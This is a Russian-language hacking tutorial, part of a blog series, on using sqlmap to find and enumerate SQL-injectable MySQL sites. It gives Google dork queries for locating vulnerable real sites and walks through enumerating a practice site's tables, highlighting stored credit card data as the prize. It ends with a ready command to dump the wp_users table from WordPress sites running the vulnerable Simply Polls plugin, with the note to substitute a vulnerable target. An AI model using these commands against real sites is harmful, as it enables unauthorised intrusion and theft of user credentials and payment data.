Взлом базы данных, часть 3: использование sqlmap для SQL-инъекций против MySQL и WordPress

Published April 26, 2020 • 2 mins read

SQL-инъекция является одной из наиболее важных и распространенных атак на веб-сайты. Почти каждый веб-сайт имеет базу данных, содержащую конфиденциальную и ценную информацию, которая часто может быть скомпрометирована хорошо спроектированной атакой SQL-инъекции.

Существует множество инструментов SQL-инъекций, но, вероятно, наиболее популярным является sqlmap. В этом руководстве мы будем использовать sqlmap для компрометации базы данных MySQL веб-сайта.

Как правило, MySQL объединяется с PHP и веб-сервером Apache (часто называемых LAMPP или XAMPP) для создания динамических веб-сайтов, управляемых базой данных. Такие пакеты для управления контентом и разработки, как Drupal, Joomla, Wordpress, Ruby on Rails, Laravel и другие, используют MySQL в качестве базовой базы данных по умолчанию. Миллионы веб-сайтов имеют бэкэнды MySQL, и очень часто они являются «доморощенными» веб-сайтами без особого внимания к безопасности.

В этом руководстве мы собираемся извлечь информацию о базе данных MySQL, прежде чем мы фактически извлечем информацию из базы данных. Еще раз повторюсь, чем больше мы знаем, тем успешнее будет наш взлом и тем меньше у вас шансов быть обнаруженным.

Sqlmap можно использовать для баз данных, отличных от MySQL, таких как Microsoft SQL Server и Oracle, но здесь мы сосредоточим свои возможности на тех вездесущих веб-сайтах, которые построены на PHP, Apache и MySQL, таких как WordPress, Joomla и Drupal.

Шаг № 1 Запустите sqlmap

Запускаем командную строку и клонируем репозиторий к себе с помощью команды:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

В папке куда мы загрузили репозиторий выполним команду и откроем справку.

python sqlmap.py -hh

Для работы у вас должен быть установлен пайтон на компьютере.

Шаг № 2 Найдите уязвимый веб-сайт

Чтобы попасть внутрь сайта и, в конечном итоге, в базу данных, мы ищем сайты, которые заканчиваются на «php? Id = xxx», где xxx представляет некоторое число. Те, кто знаком с Google hacks / dorks, могут выполнить поиск в Google, введя:


Inurl: index.php ID =?
Inurl: gallery.php ID =?
Inurl: post.php ID =?
Inurl: идентификатор статьи =?

… и многие другие.

Эти придурки откроют буквально миллионы веб-сайтов с этими основными критериями уязвимости. Если вы креативны и амбициозны, вы можете найти множество веб-сайтов со списком уязвимых веб-сайтов. Вы можете проверить это.

Для наших целей здесь и чтобы вы не попали под действие закона, мы будем взламывать веб-сайт, предназначенный для этой цели, www.webscantest.com . Мы можем попрактиковаться на этом веб-сайте и усовершенствовать свои навыки, не беспокоясь о нарушении каких-либо законов и необходимости зарабатывать деньги под залог.

Шаг № 3 Откройте sqlmap

Когда вы нажимаете на sqlmap , вы увидите экран, подобный приведенному ниже.

Этот первый справочный экран показывает вам некоторые основы использования sqlmap, но есть несколько экранов, показывающих еще больше опций. Для краткости я исключил их, но мы вернемся к некоторым из этих других опций и возможностей в будущих руководствах по sqlmap.

Sqlmap — это мощный инструмент, написанный в виде скрипта Python (скоро мы будем делать урок по Python), который имеет множество опций. В этом уроке мы просто расскажем о его возможностях.

Шаг № 4 Определите СУБД веб-сайта

Прежде чем мы начнем взламывать веб-сайт, нам нужно собрать информацию. Нам нужно знать, ЧТО мы взламываем. Как я уже говорил много раз ранее, большинство эксплойтов очень специфично для ОС, приложений, сервисов, портов и т. д.

Давайте начнем с выяснения, какая СУБД используется для веб-сайта.

Для запуска sqlmap для этой задачи мы набираем:

 kali>python sqlmap.py -u “полный URL уязвимой веб-страницы”

или наш случай:

kali> sqlmap -u "http://www.webscantest.com/datastore/
search_get_by_id.php?id=4"

Обратите внимание, что весь URL-адрес заключен в двойные кавычки (“).

Когда мы сделаем это, sqlmap вернет результаты, подобные приведенным ниже. Обратите внимание, где я подчеркнул, что серверная часть сайта использует MySQL 5.0

Шаг № 5 Поиск баз данных

Теперь, когда мы знаем, что такое система управления базами данных (СУБД) MySQL 5.0, нам нужно знать, какие базы данных она содержит. Sqlmap может помочь нам в этом. Мы берем команду, которую использовали выше, и добавляем ее с — dbs , например так:

kali> sqlmap -u "http://www.webscantest.com/datastore/
search_get_by_id.php?id=4" --dbs

Когда мы запускаем эту команду для www.webscantest.com, мы получаем результаты, подобные приведенным ниже.

Обратите внимание, что я обвел две доступные базы данных: информационную схему и webscantest . Информационная схема включена в каждую установку MySQL и включает в себя информацию обо всех объектах в экземпляре MySQL, но это не данные, которые нас интересуют. Хотя может быть полезно изучить эту базу данных, чтобы найти объекты во всех базах данных в данном экземпляре, мы сосредоточим наше внимание на другой базе данных здесь, webscantest , которая может содержать некоторую ценную информацию. Давайте рассмотрим дальше.

Шаг № 6 Получить дополнительную информацию из базы данных

Итак, теперь мы знаем, что такое СУБД (MySQL 5.0) и название интересующей базы данных (webscantest). Следующий шаг — попытаться определить таблицы и столбцы в этой базе данных. Таким образом, у нас будет некоторое представление о том, (1) какие данные находятся в базе данных, (2) где они находятся и (3) какие типы данных они содержат (числовые или строковые). Вся эта информация является критической и необходимой для извлечения данных. Для этого нам нужно внести небольшие изменения в нашу команду sqlmap.

Все остальное, что мы использовали выше, остается прежним, но теперь мы сообщаем sqlmap, что хотим видеть таблицы и столбцы из базы данных webscantest.

Мы можем добавить нашу команду с — columns -D и именем базы данных, webscantest, например так:

kali> sqlmap -u "http://www.webscantest.com/datastore/
search_get_by_id.php?id = 4" --dbs --columns -D webscantest

Когда мы сделаем это, sqlmap нацелится на базу данных webscantest и попытается перечислить таблицы и столбцы в этой базе данных.

Как мы видим ниже, sqlmap успешно смог перечислить три таблицы; (1) счета, (2) инвентарь и (3) заказы, с именами столбцов и типами данных. Неплохо!

Обратите внимание, что таблица заказов выше содержит номера кредитных карт, даты истечения срока действия и CVV. В следующих уроках я покажу вам, как извлечь эту информацию, хакерское «Золотое руно» !!

Шаг № 7 Усовершенствованная и современная атака sqlmap против сайтов WordPress

Теперь, когда мы знакомы с основами sqlmap, давайте рассмотрим более сложное использование этого замечательного инструмента. Например, несколько лет назад исследователь безопасности (Tad Group) обнаружил уязвимость для расширенной атаки с использованием SQL-инъекций на веб-сайты WordPress, включающие в себя плагин Simply Опросы ( https://wordpress.org/plugins/simply-polls/). ) Большинство этих сайтов были уязвимы до випуска обновления.

Чтобы найти сайты WordPress, см. руководство по поиску уязвимых сайтов Wordpress.

Команда sqlmap для использования этих сайтов WordPress с плагином Simply Опросы:

sqlmap -u "http://example.com/wp-admin/admin-ajax.php" --data="action=spAjaxResults & pollid = 2" --dump -T wp_users -D wordpress --threads = 10 --random-agent --dbms=mysql --level = 5 --risk=3

Конечно, замените « example.com » на URL уязвимого сайта.

Вывод

Как видите, sqlmap может быть очень универсальным и полезным инструментом для MySQL, а также для взлома баз данных MS SQL Server и Oracle. Мы планируем вернуться к sqlmap в ближайшем будущем, чтобы изучить дополнительные возможности для взлома баз данных. Если вы заинтересованы в извлечении данных из этой базы данных, прочитайте мою следующую статью из этой серии, Взлом баз данных, часть 4: извлечение данных из базы данных

Подпишись на рассылку